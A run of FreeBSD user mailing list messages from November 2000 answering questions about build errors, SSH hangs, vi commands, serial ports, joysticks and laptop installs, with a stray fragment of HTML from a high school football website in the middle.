> > > /usr/lib/crtbegin.o(.fini+0x0): multiple definition of `_fini'
> > > /usr/lib/crti.o(.fini+0x0): first defined here
> > > *** Error code 1
> > >
> > > Stop in /usr/src/games/fortune/strfile.
> > > *** Error code 1
> >
> > You are asking in the wrong list. If you try to follow 4-stable, you
> > should also be subscibed to freebsd-stable. You also have to either
> > follow cvs-all, or have a link to it on freebsd.org. There are many
> > messages dealing with this on -stable.
> >
> > David O'Brien's fix is as follows
> >
> > cd /usr/src/lib/csu/i386-elf
> > make cleandir ; make cleandir ; make obj ; make depend ; make all
> > install
> > cd /usr/src/gnu/lib/csu
> > make cleandir ; make cleandir ; make obj ; make depend ; make all
> > install
> >
> > When the upgrade first came out, I was hit with this problem. At that
> > time, I didn't find this all necessary. I only had to modify .../csu
> > and then I did a make all install. The crt...'s are built in stage 2
> > but strfile needs the changes in stage 1.
> >
> > Also make sure you don't have anything but the Makefile in
> > /usr/src/gnu/lib/csu.
> >
> > Kent
> >
> > >
> > > To Unsubscribe: send mail to majordomo@FreeBSD.org
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> >
> > --
> > Kent Stewart
> > Richland, WA
> >
> > mailto:kbstew99@hotmail.com
> > http://kstewart.urx.com/kstewart/index.html
> > FreeBSD News http://daily.daemonnews.org/
> >
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  This is only my second week wtih FreeBSD, so please bear with me.  My
Linux experience was not able to help me with this problem, and I tried
searching around mailing list archives but am thinking this problem is
something really simple that I am overlooking.

  I have a very simple configuration.  I have a Windows 2000 system and a
FreeBSD 4.1.1-RELEASE system.  They only have local IP addresses
(192.168.0.1/255.255.255.0) and (192.168.0.2/255.255.255.0).  

  I can connect through telnet/ftp/www to the FreeBSD machine and ping it
without any problems at all.  However, when I use either PuTTY or SecureSSH
to connect through SSH, it asks for my name and password, then sits there
forever and doesn't authenticate me.  I even turned on debugging and ran the
sshd manually.  It gets to the line "debug: attempting authentication for
brianr" and hangs there until I give up and kill sshd.

  Can someone provide any ideas on how to fix this?  SSH isn't critical for
what I'm doing since I'm on a private local network, but I do intend to move
this system onto a dedicated Internet connection soon and would like to
already have SSH working and in place.

  Regards,

  Brian Ruppert (ruppert.bria@students.uwlax.edu)


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On Wed, Nov 01, 2000 at 10:09:22PM +0000, j mckitrick wrote:
> On Wed, Nov 01, 2000 at 08:55:15PM +0100, flag wrote:
> | 
> | I tried pressing Ctrl+t or Ctrl+Shift+T but nothing happens...=P
> | What's wrong?
> 
> You need to do it when the terminal is busy doing something.  If you have
> the prompt, then it won't do anything.  Try ssh to a slow connection, or
> maybe some file operation that takes a long time.

The standard cat(1) will do just fine:

	% cat
	^T
	load: 1.03  cmd: cat 5660 [ttyin] 0.00u 0.00s 0% 100k

The modern shells (like GNU bash, or tcsh) will try to capture terminal keys
as they're pressed, and interpret them one by one.  GNU bash uses the readline
library, tcsh uses -- if I recall it correctly -- libtermcap, to handle
terminal keys.  When you are at the prompt, the terminal is not in it's
`normal' mode, as when it's running a cat(1) command.

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On Wed, Nov 01, 2000 at 09:45:17PM -0600, David Talkington wrote:
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> 
> 
> [Perhaps off-topic, I'm sorry ...]
> 
> Now, that's interesting.  Forgive my ignorance, but what is that
> "substitution" really doing?  It's my understanding that the
> start-of-line meta represents a position (immediately left of the
> first character in the line), and not an actual character ... which
> suggests that it can be located as an anchor, but not removed or
> altered. Obviously, the start of the line isn't "replaced" in this
> case ... is this just a funky way to fool the regex (e.g. unexpected,
> but useful, behavior)?
> 

It's a kind of shorthand. Just using ``^'' (which as you quite rightly
state is an anchor) is equivalent to:

	:7,17s/^\(.*\)/#\1/

i.e. replace anything at the start of the line with #anything

HTH

> - -d
> 
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> 
> Annelise Anderson wrote:
> 
> >There are two ways I know of to comment a block of lines in vi.
> >
> >1) Turn on line numbering with :se nu ; the do:
> >
> >:7,17s/^/#/
> >
> >This puts a # at the beginning of lines 7 through 17.
> >
> >2) Put cursor on line where you want to start the substitution 
> >do this:
> >
> >:.,+10s/^/#/
> >
> >That starts at the line you're on (the .) and for that line and
> >the next 10 lines (11 total) places a # at the beginning of the line.
> >This is especially useful in editing a kernel config file.
> >
> >Annelise
> >
> >
> >On Wed, 1 Nov 2000 8773836928@skytel.com wrote:
> >
> >> Hello,
> >> 
> >> I have been editing some 
> >> Perl scripts in vi recently,
> >> and I find it very annoying
> >> that Perl cannot comment
> >> blocks of code, only lines.
> >> 
> >> I have been reading the docs in vi, but I can't quite figure out how 
> >to do a substitute command that will, say, prepend a # to the 
> >next n lines, and later remove the # ( well, the second one 
> >I could always use :s and replace the first # with nothing 
> >for the next n lines. But the first one is still a mystery to me ).
> >> 
> >> Any insight would be greatly appreciated.
> >> 
> >> Thanks!
> >> 
> >> P.S. Please cc: me, as I am not subscribed to the list with this account. Thanks again.
> >> 
> >> 
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I recently added another computer to my room.  It is a 486 that I put in here so
I could run another operating system, and I chose FreeBSD.  I have used FreeBSD
for over a year now, on a different machine, but recently decided to have a
dedicated machine for this operating system.

I created both boot disks, and was planning to FTP install here from my network
at school as I do not have a working CD-ROM to use with the system nor do I have
current FBSD media.  I have a working network card, but I cannot get the kernel
to recognize it.  The card is an ISA Gateway Communications, Inc.  G/Ethertwist
PC with AUI, UTP, and BNC (jumpers set to UTP operation).  It also has 8
dipswitches, which, I believe, set the address of the card.  I know this is an
old card, and is not the easiest type to set up for use with any machine, but I
got 4 of them for free and have no other working network cards to use right
now.  So, because it works (the lights light up and my hub lights up, too) I am
trying to see if I can use these things.

I have tried nearly every combination I can think of in the initial kernel
config for install.  I believe this may be NE2000 compatible, but I am not
certain on that.  I don't know what the IRQ and the address of the card are, and
I have no idea what the jumpers and dipswitches (current dipswitch settings are:
1, 3, & 4 on; 2 & 5-8 off) set it to.  If anyone knows anything about these
cards, esp. the address and IRQ settings and what driver to use in the kernel
config, I would be very grateful.

Thank you for any information anyone can provide.
James


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On Thu, Nov 02, 2000 at 09:33:29AM +0000, Rasputin wrote:
> 
> I've been running FreeBSD since 4.0-RELEASE , and at first was horrified
> to realise there was nowhere like linuxdoc.org to learn about it.
> 
> After asking on the newsgroup for help and being referred to the manpages,
> I was amazed to find they hold useful information on this platform.

This is one of the most important reasons why I chose to stick with FreeBSD.
That, and the cvs-all messages that showed both code and documentation being
updated at the same time and staying most of the time in sync (of course,
I'm talking about -STABLE here).

> Unlike (R**h**) Linux, where
> 
> 'this manpage is no longer maintained - we just like installing files'
> 
> seems to be the most common entry.

What can anyone say about an OS where the manpages are considered something
`extra' that is not part of the system itself? *sigh*

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To: William Melanson <wjm@gate.net>
Cc: sharpmind2@371.net, questions@freebsd.org
Subject: Re: how to configure sio2 and sio3 ?
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On Thu, Nov 02, 2000 at 01:52:43PM -0500, William Melanson wrote:
> On 2 Nov 2000 sharpmind2@371.net wrote:
> 
> % Date: 2 Nov 2000 17:28:15 -0000
> % From: sharpmind2@371.net
> % To: questions@FreeBSD.ORG
> % Subject: how to configure sio2 and sio3 ?
> % 
> % how to configure sio2 and sio3
> % 
> % 
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> 
> kernel:
> 
> # Serial (COM) ports
> device          sio0    at isa? port IO_COM1 flags 0x10 irq 4
> device          sio1    at isa? port IO_COM2 irq 3
> device          sio2    at isa? port IO_COM3 irq 5
> device          sio3    at isa? port IO_COM4 irq 9
> 
> rebuild kernel...
> 

Or just ``boot -c'' and then ``enable sio2'' and ``enable sio3'' at the
``config>'' prompt. sio[23] are in the GENERIC kernel, just diabled by
default.

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I am having problems accessing the joystick port.  The Joystick worked
with a previous version of FreeBSD (3.4 possible), but it does not work
now.  I've tried it on two different machines with different kernel
versions.

Machine 1:
  FreeBSD 4.0-RELEASE
  (output of dmesg)
  joy0 at port 0x201 on isa0
  sbc1: <Creative SB AWE64> at port 0x220-0x22f,......
  sbc1: setting card to irq 5, drq 1, 5
  pcm0: <SB DSP 4.16> on sbc1
  joy1: <Generic PnP Joystick> at port 0x208-20f on isa0

When I access joy0, I get invalid xy positions and the buttons have no
effect.  Trying to access joy1 returned Device not configured.

Machine 2:
  FreeBSD 4.1.1-RELEASE
  (output of dmesg)
  sbc0: <Soundblaster Pro> at port 0x220-0x22f.....
  pcm0: <SB DSP 3.02> on sbc0
  joy0 at port 0x201 on isa0
  sbc1: <Creative SB16/SB32> at port 0x240-0x24f.....
  sbc1: setting card to irq 10, drq 0, 6
  pcm1: <SB DSP 4.13> on sbc1
  unknown: <Game> can't assign resources

Machine 2 happens to have two sound devices, one on the motherboard and
one on the Sound Blaster card.  There is not a game port on the
motherboard.  This machine behaves the same as machine 1.

Any ideas?

Thank you,
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* Ruppert Brian S <ruppert.bria@students.uwlax.edu> [001102 14:15] wrote:
> 
>   This is only my second week wtih FreeBSD, so please bear with me.  My
> Linux experience was not able to help me with this problem, and I tried
> searching around mailing list archives but am thinking this problem is
> something really simple that I am overlooking.
> 
>   I have a very simple configuration.  I have a Windows 2000 system and a
> FreeBSD 4.1.1-RELEASE system.  They only have local IP addresses
> (192.168.0.1/255.255.255.0) and (192.168.0.2/255.255.255.0).  
> 
>   I can connect through telnet/ftp/www to the FreeBSD machine and ping it
> without any problems at all.  However, when I use either PuTTY or SecureSSH
> to connect through SSH, it asks for my name and password, then sits there
> forever and doesn't authenticate me.  I even turned on debugging and ran the
> sshd manually.  It gets to the line "debug: attempting authentication for
> brianr" and hangs there until I give up and kill sshd.
> 
>   Can someone provide any ideas on how to fix this?  SSH isn't critical for
> what I'm doing since I'm on a private local network, but I do intend to move
> this system onto a dedicated Internet connection soon and would like to
> already have SSH working and in place.

Looks like a dns problem, get DNS working on your freebsd box so that
It can lookup the address of the machine connecting to it.

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I'm getting stuck trying to build a kernel (for my own AND for GENERIC):

make buildworld KERNEL=GENERIC

gets me this:

procfs_status.o: In function `procfs_docmdline':
procfs_status.o(.text+0x331): undefined reference to `CHECKIO'

My setup
Upgrading from 3.5-STABLE to 4.1.1, using cvsup sources from 1 Nov
Followed instructions for upgrading found in (new) /usr/src/UPDATING
Did make buildworld (successfully)
tried to build a customized kernel, got the above message.
tried make buildkernel KERNEL=GENERIC got the same message.

Did I miss something?   Searching the mailing lists, nothing seems to have
CHECKIO or procfs_docmdline

Any hints?

-Andy


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      <td width=3D"17%" height=3D"43" valign=3D"top" align=3D"center"><font size=3D"1" 
face=3D"Arial" color=3D"#FFFFFF"><a href=3D"http://www.bakersfieldpanthersfootball.
com/cheer.html"><img border=3D"0" src=3D"http://www.bakersfieldpanthersfootball.
com/sitepix/buttons/cheer.jpg" width=3D"123" height=3D"35"></a></font></td>
        <td width=3D"34%" height=3D"81" valign=3D"middle" align=3D"center" 
colspan=3D"2" rowspan=3D"2"><font face=3D"Arial">Panthers 6 -0 for<br>
        the season</font></td>
    </tr>
    <tr>
      <td width=3D"17%" height=3D"34" valign=3D"middle" align=3D"center" 
bgcolor=3D"#FF0000"><font size=3D"1" face=3D"Arial" color=3D"#FFFFFF">
        How To Contact Us</font></td>
      <td width=3D"17%" height=3D"34" valign=3D"middle" align=3D"center" 
bgcolor=3D"#FF0000"><font size=3D"1" face=3D"Arial" color=3D"#FFFFFF">
        Keeping The Panther Spirit Alive</font></td>
    </tr>
    <tr>
      <td width=3D"34%" height=3D"197" valign=3D"top" align=3D"center" 
colspan=3D"2"><img border=3D"0" src=3D"http://www.bakersfieldpanthersfootball.
com/gamepix/1021/02.jpg" width=3D"240" height=3D"180"><br>
      <font face=3D"Arial" size=3D"1" color=3D"#C0C0C0">Halftime Show Rocked!&nbsp;
</font></td>
        <td width=3D"34%" height=3D"197" valign=3D"top" align=3D"center" 
colspan=3D"2"><img border=3D"0" src=3D"http://www.bakersfieldpanthersfootball.
com/gamepix/1021/03.jpg" width=3D"240" height=3D"180"><br>
        <font face=3D"Arial" size=3D"1" color=3D"#C0C0C0">Panthers hold LA.</font>
        </td>
    </tr>
  </center>
    <tr>
      <td width=3D"68%" height=3D"159" valign=3D"top" colspan=3D"4" rowspan=3D"4">
        <table border=3D"0" width=3D"100%">
          <tr>
            <td width=3D"50%" align=3D"center" valign=3D"top">
              <img border=3D"0" src=3D"http://www.bakersfieldpanthersfootball.
com/gamepix/1021/10.jpg" width=3D"240" height=3D"180">
              <br>
              <font face=3D"Arial" size=3D"1" color=3D"#C0C0C0">Kris in her first 
web site appearance&nbsp;</font></td>
            <td width=3D"50%" align=3D"left" valign=3D"middle"><p 
align=3D"center"><font face=3D"Arial" size=3D"1">The Bakersfield Panthers are now 
6-0 for the season. Isn't it about time that someone in the media covered this 
incredible success
            story?&nbsp;</font></td>
          </tr>
          <tr>
            <td width=3D"50%" align=3D"center" valign=3D"top"><img border=3D"0" 
src=3D"http://www.bakersfieldpanthersfootball.com/gamepix/1021/05.jpg" 
width=3D"240" height=3D"180"><br>
            <font face=3D"Arial" size=3D"1" color=3D"#C0C0C0">Cheerleaders WOW the 
Taft crowd</font>
            </td>
            <td width=3D"50%" align=3D"left" valign=3D"top">
              <p align=3D"center"><img border=3D"0" src=3D"http://www.
bakersfieldpanthersfootball.com/gamepix/1021/06.jpg" width=3D"240" 
height=3D"180"><br>
              <font face=3D"Arial" size=3D"1" color=3D"#C0C0C0">Field GOAL!!!&nbsp;
</font></td>
          </tr>
          <tr>
            <td width=3D"50%" align=3D"center" valign=3D"top">
        <img border=3D"0" src=3D"http://www.bakersfieldpanthersfootball.
com/gamepix/1021/07.jpg" width=3D"240" height=3D"180"><br>
        &quot;<font face=3D"Arial" size=3D"1" color=3D"#C0C0C0">After a long return 
I like to pray&quot;</font></td>
            <td width=3D"50%" align=3D"center" valign=3D"top"><img border=3D"0" 
src=3D"http://www.bakersfieldpanthersfootball.com/gamepix/1021/08.jpg" 
width=3D"240" height=3D"180"><br>
            <font face=3D"Arial" size=3D"1" color=3D"#C0C0C0">Ellie on the 
rise&nbsp;</font></td>
          </tr>
        </table>
      </td>
    </tr>
  <center>
    <tr>
      <td width=3D"32%" colspan=3D"2" height=3D"1" valign=3D"middle" 
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        <p align=3D"center"><b><font face=3D"Arial" size=3D"3">PANTHER 
VIDEOS</font><font face=3D"Arial" size=3D"2"><br>
        <br>
        The Season Opener<br>
        -vs.-<br>
        Antelope
Valley</font></b><font face=3D"Arial" size=3D"1"><br>
High band users<font color=3D"#FFFFFF"> </font> <a href=3D"http://www.
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here</font></a><br>
Low band users<font color=3D"#000000"> </font> <a href=3D"http://www.
bakersfieldpanthersfootball.com/vid/birds56.asf"> <font color=3D"#FFFFFF"> click 
here</font></a></font></p>
        <p align=3D"center"><font face=3D"Arial" size=3D"2"><b>Behind The 
Scenes<br>
        </b></font><font face=3D"Arial" size=3D"1">
High band users click<font color=3D"#FFFFFF"> </font> <a href=3D"http://www.
bakersfieldpanthersfootball.com/vid/1stshoot.asf"><font 
color=3D"#FFFFFF">HERE</font></a>
        250k asf<br>
Low band users click <a href=3D"http://www.bakersfieldpanthersfootball.
com/vid/1st.ram"><font color=3D"#FFFFFF">HERE</font></a>  Real
Media</font></p>
        <p align=3D"center"><font face=3D"Arial" size=3D"2"><b>Panther Excitement..
<br>
        </b></font><font face=3D"Arial">Low band users click </font> <a 
href=3D"http://www.klly.com/images/1stgamesm.asf"><font face=3D"Arial" 
color=3D"#FFFFFF" size=3D"1">HERE</font></a> 
        <font size=3D"1"> 
        <font face=3D"Arial" size=3D"1">asf<br>
High band users click </font> </font><a href=3D"http://www.klly.
com/images/1stgame.asf"><font face=3D"Arial" color=3D"#FFFFFF" 
size=3D"1">HERE</font></a> 
        <font size=3D"1"> 
        <font face=3D"Arial" size=3D"1">asf</font> </font></td>
    </tr>
    <tr>
      <td width=3D"32%" colspan=3D"2" height=3D"48" valign=3D"top" bgcolor=3D"#000000">
        <p align=3D"center"><font face=3D"Arial" size=3D"2"><a href=3D"http://www.
bakersfieldpanthersfootball.com/videohelp.html">Click 
            here</a> if you have questions about viewing the videos</font>
      </td>
    </tr>
    <tr>
        <td width=3D"32%" colspan=3D"2" height=3D"194" valign=3D"bottom" 
align=3D"center"> 
          <p align=3D"center">
              <img border=3D"0" src=3D"http://www.bakersfieldpanthersfootball.
com/gamepix/1021/04.jpg" width=3D"240" height=3D"180"><br>
          <font face=3D"Arial" size=3D"1" color=3D"#C0C0C0">EDDIE!!!!!!!&nbsp;&nbsp;
&nbsp; Kick return</font>
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      <td width=3D"17%" height=3D"24"></td>
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      <td width=3D"17%" height=3D"24"></td>
      <td width=3D"17%" height=3D"24"></td>
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I'm trying to mount an ISO file, and I'm getting errors, any help would be
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vnconfig /dev/vn0c /tmp/image.iso
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The call to "mount" is exiting and telling me: "cd9660: Invalid
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I am interested in setting up a central box that will make buildworld on a 
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Archit P Shah <ashah@MIT.EDU> types:
> 1) Are there good reasons to not put system files (/etc/passwd, /etc/group,...)
> under version control? It seems like it would be useful to be able to see the 
> changes over time. (Not as a security measure, but as a way of doing sanity
>  checks).

I certainly hope not - I keep a lot of them under version control!
/etc/password wasn't one of them, because it tends to be edited by
tools, not users. But lots of others (/etc/*.conf, /etc/fstab, kernel
config files, qmail control files, and so on) are there, and it makes
a *lot* of sense to do that.

> 2) If there are no good reasons to avoid putting system files user version
> control, does it make sense to build that into the distribution? (as an
> option)

It already is, and not as an option. RCS is part of the base system,
though it doesn't look like much work is being done to maintain it
(the GNU version is used pretty much as is). There are a number of
tools for working with (and installing) cvs in ports/net and
ports/devel. I use Perforce instead of CVS, and that can be installed
from the ports as well.

	<mike


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Doug Moore <DougM@Lowrey.com> types:
> We are trying to run some Unix binaries that were written in Japan. We
> would like to be able to to run them on a PC will BSD run all Unix
> binaries. I did get them to compile on a Linux system but got an error "
> cannot execute binary fie" got little or no help from Linux. I have had
> some, but very little Unix experience can anyone suggest a way to go.

No Unix will run all Unix binaries. FreeBSD does a pretty good job of
running binaries from other x86 Unix systems, but unless you know what
Unix system they were written for/compiled on, that doesn't do you
very much good.

If you can find out which Unix they were written on, and which
compilers they used, it would go a long way towards helping others
help you solve the problem. The ideal solution would be to get a copy
of that Unix and that compiler to work with. Failing that, you want
things as close as possible to those things, and someone with a little
experience porting things.

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Giorgos Keramidas wrote:

> > Unlike (R**h**) Linux, where
> >
> > 'this manpage is no longer maintained - we just like installing files'
> >
> > seems to be the most common entry.
> 
> What can anyone say about an OS where the manpages are considered something
> `extra' that is not part of the system itself? *sigh*

It's not just R**H**, it's all of the Linux distributions that use GNU.
GNU wants you to use info instead of man. What is especially obnoxious
is when you use info and see the words "this man page is not longer
maintained...".

I've been tempted to write an info2man conversion utility and donate it
to GNU, but I know that they would never use it, too heretical.

David


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Hello John,

> I am having problems accessing the joystick port.  The Joystick worked
> with a previous version of FreeBSD (3.4 possible), but it does not work
> now.  I've tried it on two different machines with different kernel
> versions.
> 
> Machine 1:
>   FreeBSD 4.0-RELEASE
>   (output of dmesg)
>   joy0 at port 0x201 on isa0

The joystick port is 0x200 not 0x201. That probably causes your problems.

>   sbc1: <Creative SB AWE64> at port 0x220-0x22f,......
>   sbc1: setting card to irq 5, drq 1, 5
>   pcm0: <SB DSP 4.16> on sbc1
>   joy1: <Generic PnP Joystick> at port 0x208-20f on isa0


For the AWE 64 Gold I have only 

device          pcm
device          sbc
device          joy

in my kernel config. Nothing with the isa stuff, as PnP works well. This results
in the following dmesg snippet:

sbc0: <Creative SB AWE64 Gold> at port 0x220-0x22f,0x330-0x331,0x388-0x38b irq 5
drq 1,5 on isa0
pcm0: <SB DSP 4.16> on sbc0
joy0: <Generic PnP Joystick> at port 0x200-0x207 on isa0

Never checked, if the joystick port really works, but it is detected correctly,
so I suppose it should.

Ciao
Siegbert


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Sure, I can't think of a reason why it would not be able to handle the 60 GB
drive. I assume it will be an IDE drive? Perhaps some drive space will be lost
when you create the partitions, but that is OS-independant.

Just my 2 cts,

Ernst

Michael Amodeo wrote:
> Can freebsd 4.1 hand a 60gig ide 5400rpm? this drive won't be a primary
> drive..no Operation system will be on it..I have 1 drive
> that is the Operation system..I just want to add this 60gig ide drive to the
> system..will freebsd see it as 60gig?
> 
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> 
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Hi Micheal,

I'm running FreeBSD on a Pentium 2-400/128MB, a Celeron 566/128MB and on a
486 DX2-66/16MB. FreeBSD runs fine on the 486, but X (with KDE and Netscape
4.x) is horrible. Very slow. It takes a few minutes to startup X, KDE and
Netscape. But once Netscape is running, the speed is `acceptable'. So it can
be used to visit internet sites (HotMail mainly), but don't expect too much of
the graphical part.

I think your harddisk is too small if you want to run X, but if you don't,
then it should be just fine.

Ernst


Micheal O Dowd wrote:
> can i run freeBSD on my IBM Thinkpad 750C
> 486 33
> 12 mb
> 540 HD
> 
> thanks
> micheal o dowd
> 


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Is it possible to login to a FreeBSD 4.1 box via a serial connection? 
I've read the section in the handbook that explains it but I have not 
been able to get a login prompt. All I get is the normal startup stuff 
sent to the serial caonnection but the login prompt appears on the 
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I have been trying to get my gateway (AMD K7, 2 NICs, 256MB, 20GB) machine up
and running, and I am having trouble getting a system working with a kernel that
uses IP_FIREWALL and IP_DIVERT switches.  When I build/install a kernel with
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e-net card.  I would assume that just turning on these switches, without
running natd, or configuring as a firewall through rc.firewall, would not have
ANY effect on my network access from my gateway machine.  What am I doing wrong
here?

By the way, in case you can't tell this is my first time doing this.

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Heya Rick,

Perhaps `bonnie' is not very reliable when it comes to testing. I did some
testing myself a while ago, and I found out that my LVD U2W disk (with
the special [read: expensive] cable) was only a bit faster than my regular
UDMA-33 harddisk, with a slave connected on the same cable.

Ernst

Rick Jansen wrote:
> Hi there,
> 
> I have a hardware RAID-5 setup, using 3 Cheetahs 18.9Gb 15000rpm. When i run
> Bonnie, this is the output:
> 
> bash-2.04$ bonnie
> File './Bonnie.248', size: 104857600
> Writing with putc()...done
> Rewriting...done
> Writing intelligently...done
> Reading with getc()...done
> Reading intelligently...done
> Seeker 1...Seeker 2...Seeker 3...start 'em...done...done...done...
>               -------Sequential Output-------- ---Sequential
> Input-- --Random--
>               -Per Char- --Block--- -Rewrite-- -Per
> Char- --Block--- --Seeks---
> Machine  MB K/sec %CPU K/sec %CPU K/sec %CPU K/sec %CPU K/sec %CPU  /sec
> %CPU
>                100  4769   13.4    4814     4.1    5767    5.7    24421
> 100.0  239718 96.4 31833.2 199.6
> bash-2.04$
> 
> This seems really bad to me, on a "normal" system i get measurements maybe 8
> higher then this. What could be causing this? No use of DMA? How can i see
> whether it's using DMA? And how do i enable it?
> The SCSI Caching Raid controller is an Adaptec 2100s. Also, the creation of
> the 35Gb Raid array took 4 hours to complete. The server is going to be a
> database server.
> Could somebody please tell me what's going on?
> 
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Heya Rick,

Perhaps `bonnie' is not very reliable when it comes to testing. I did some
testing myself a while ago, and I found out that my LVD U2W disk (with
the special [read: expensive] cable) was only a bit faster than my regular
UDMA-33 harddisk, with a slave connected on the same cable.

Ernst

Rick Jansen wrote:
> Hi there,
> 
> I have a hardware RAID-5 setup, using 3 Cheetahs 18.9Gb 15000rpm. When i run
> Bonnie, this is the output:
> 
> bash-2.04$ bonnie
> File './Bonnie.248', size: 104857600
> Writing with putc()...done
> Rewriting...done
> Writing intelligently...done
> Reading with getc()...done
> Reading intelligently...done
> Seeker 1...Seeker 2...Seeker 3...start 'em...done...done...done...
>               -------Sequential Output-------- ---Sequential
> Input-- --Random--
>               -Per Char- --Block--- -Rewrite-- -Per
> Char- --Block--- --Seeks---
> Machine  MB K/sec %CPU K/sec %CPU K/sec %CPU K/sec %CPU K/sec %CPU  /sec
> %CPU
>                100  4769   13.4    4814     4.1    5767    5.7    24421
> 100.0  239718 96.4 31833.2 199.6
> bash-2.04$
> 
> This seems really bad to me, on a "normal" system i get measurements maybe 8
> higher then this. What could be causing this? No use of DMA? How can i see
> whether it's using DMA? And how do i enable it?
> The SCSI Caching Raid controller is an Adaptec 2100s. Also, the creation of
> the 35Gb Raid array took 4 hours to complete. The server is going to be a
> database server.
> Could somebody please tell me what's going on?
> 
> Rick Jansen
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>I've just attempted an install of 4.0 onto a IBM ThinkPad A20. After what
>seemed like a perfect install it refuses to boot or even be able to get to
>the bios. I looked in the archives and found a few people with the exact
>same issue varying in ways to attempt to get it to work on replys to the
>messages. It seems the ThinkPad does not like the partition/filesystem
>of FreeBSD. Is there a method whereby I can get this thing to run FreeBSD
>that is tried and true?


Keith, I've got a Thinkpad T20 (supposedly the same type of machine) and I'm 
having the same problem.

I've also tried the boot record deleting and partition type renumbering 
without any success. I'm trying to get dual boot working with Win2000 and 
it's this point that seems to be the show stopper. Everyone that manages to 
get a dual boot working seems to be using Win9x, nobody can get it going 
with 2000/NT.(Please, someone say I'm wrong here)

Something that I learnt yesterday is Jon Chen has made a FreeBSD 
distribution for the T20. The documentation I've seen about it says it was 
made to fix the ethernet and video incompatibilites with this machine. 
Nothing is mentioned of the boot problems but perhaps that's included...? I 
don't know because I just *FINALLY* got the ISO downloaded and having 
managed to get the time to install yet.

If you want to try the distro yourself hit this page for a list of the 
mirrors carring the ISO...

http://www.acm.rpi.edu/laptop.php

... I'm suspicous of the "easier installation" part so I'm going to check 
that bit out before I try an install. I do not want my Win2000 partition 
clobbered.

If anyone knows anything more about the custom distro (are you there Jon?) 
perhaps you could drop us a line. I have heard from one person successfully 
using it in a dual boot setup with Win9x.

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What is wrong here?

$ dd if=/dev/acd0c | od
dd: /dev/acd0c: Bad address
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Yet I can mount the device.  

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Hi,
I'm trying to make an ISO image of 4.1.1-RELEASE from a local copy of the
CVS repository (slow line, downloading ISO unfeasible) but I'm having
problems making the release. I have the entire CVS repository in /usr/cvs,
but the source in /usr/src is a recent cvsup of head. I'm doing "make
release RELEASETAG=RELENG_4_1_1_RELEASE CHROOTDIR=/usr/src/ISO" but it
seems to be just copying the already-compiled libraries and such from my
local system (a 5.0-CURRENT world). How do I compile a fresh 4.1.1-RELEASE
from the CVS repository properly?

G
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Well, how big is ur hd? From my experience with W2K & FBSD on TP600 w/ 4Gb hd, 
1.5Gb for W2K & 2.5 for FBSD. I used "Auto Defaults for all!" in Disklabel
Editor. Anyway, I'd allow at least 2Gb for W2K if you have 6Gb or more hd.
Really, it's totally up to you on how much you plan to use OS.

I never tried to install FBSD on a Compaq laptop since I don't have Compaq
laptop. I'd love to install FBSD on all laptops, but no money. So far, I've
tried 3 kinds of ThinkPad and Dell Latitude CSx.

--jwv

On Thu, Nov 02, 2000 at 10:51:34PM +0100, Wilde, James wrote:
> Can anyone suggest a good arrangement of slices on a Compaq laptop which
> will include W2K and FreeBSD (4.1+).
> 
> Any other tips or gotchas with installation on a Compaq laptop.  I know
> there can be problems with Compaqs.
> 
> TIA
> 
> mvh/regards
> 
> James 
> 
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On Thu, Nov 02, 2000 at 07:01:09PM +0300, Igor Roboul wrote:

|wterm is not WM dependent, but who knows :-) ?

wterm is definitely not WM dependent at all, BUT the pseudo-tansparency mode
of any *term usually IS WM dependent or at least works the best with
suitable WM.

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OMG! I haven't done this in ages, but it worked. I installed FBSD onto ThinkPad
560 via plip(parallel port) from other FBSD box with cdrom drive. TP560 had no
cdrom drive.

Anyhow, here's my experience with it. I couldn't get it work via floppy boot.
So, I installed bin only via floppy. Easy enough. Then, I configured it to see
plip. I don't remember how I did it, but there is info at handbook. So, anyway,
I installed the whole shebang onto TP560. It worked VERY well for a long time
before I got a new laptop, TP600, with cdrom. =)

Good luck.

-- jwv

On Thu, Nov 02, 2000 at 12:05:03PM -0800, ROTHENBERG, MICHAEL wrote:
> Laptop: Gateway Solo p150 w/ 40MB RAM
> Host:	Celeron 500 w/ 128MB RAM
> 
> FBSD: 3.2 Release
> 
> I am trying to get the laptop to connect to the host via a hardwired serial
> line so I can install FreeBSD from the host onto the laptop. The laptop
> doesn't have a cdrom, just a floppy. It came with a nic in the PCMCIA slot,
> but I could not get FreeBSD to recognize the 3COM 575. So I thought I'd try
> the SLIP options and see what happens.
> 
> when I do:
> 
> host> # slattach -a -h -l -s 9600 /dev/cuaa0
> 
> it comes back with something to the effect that the device does not support
> that kind of communications.
> 
> on the Laptop it comes back with something to the effect that it can not
> configure the device so it gives up.
> 
> Am I missing some steps here? On the host I am thinking that I just want to
> set it up to listen in on the serial port for any kind of coms. For the
> laptop it only gives me the option of this one command line to set up the
> SLIP connection. Is this all that is really needed? I have reviewed the
> dmesg log and the serial devices look to be found and no error messages are
> present for them.
> 
> I have a regular RS-232 9pin cable going between the two PCs. This means
> that there are some swapped wires in here. I also have a null modem splice.
> If I throw the splice in there it will straighten every thing out. I 'm not
> sure which setup is supposed to be used and the install docs are a little
> vague.... *laugh*
> 
> Any recommendations?
> 
> Thanks in advance!
> 
> Michael
> 
> 
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John Indra wrote:
> 
> On Thu, Nov 02, 2000 at 07:01:09PM +0300, Igor Roboul wrote:
> 
> |wterm is not WM dependent, but who knows :-) ?
> 
> wterm is definitely not WM dependent at all, BUT the pseudo-tansparency mode
> of any *term usually IS WM dependent or at least works the best with
> suitable WM.

Hmmm, I'm going to have to dispute this. I've used pseudo-transparent
rxvt and wterm in a wide variety of window managers, all the way from
enlightenment to windowmaker, icewm, blackbox, olvwm, aewm, fvwm, kwin,
sawfish and twm, all with no problem. The only thing that was slightly
wierd was with kwin/kwm, which made the window frame transparent along
with rxvt.

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Ahh. You could have ask any of us to help you with upgrading 4.1 to 4.1.1
problem. So, what happened? As you said that you already have cvsup/update your
source and then what did you do next?

-- jwv

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> 
> > Why are you so anxious about 4.2-RELEASE? 4.1.1-RELEASE is very good and you
> > can always cvsup up to 4.2. Don't you wanna to know about 10.0-RELEASE? *grin*
> >
> > -- jwv
> >
> 
> well, i think because i tried to cvsup from 4.1 to 4.1.1 but it didn't work - so
> i'll set up my system again.
> First I wanted to set up 4.1.1 but then heard about 4.2 and decided to wait...
> 
> Sperber
> 
> >
> > On Thu, Nov 02, 2000 at 11:01:56AM +0100, Sperber / Anakha wrote:
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> > > when will fbsd 4.2 release available on ftp servers?
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On Thu, Nov 02, 2000 at 03:20:57PM -0800, David Johnson wrote:
> Giorgos Keramidas wrote:
> 
> > > Unlike (R**h**) Linux, where
> > >
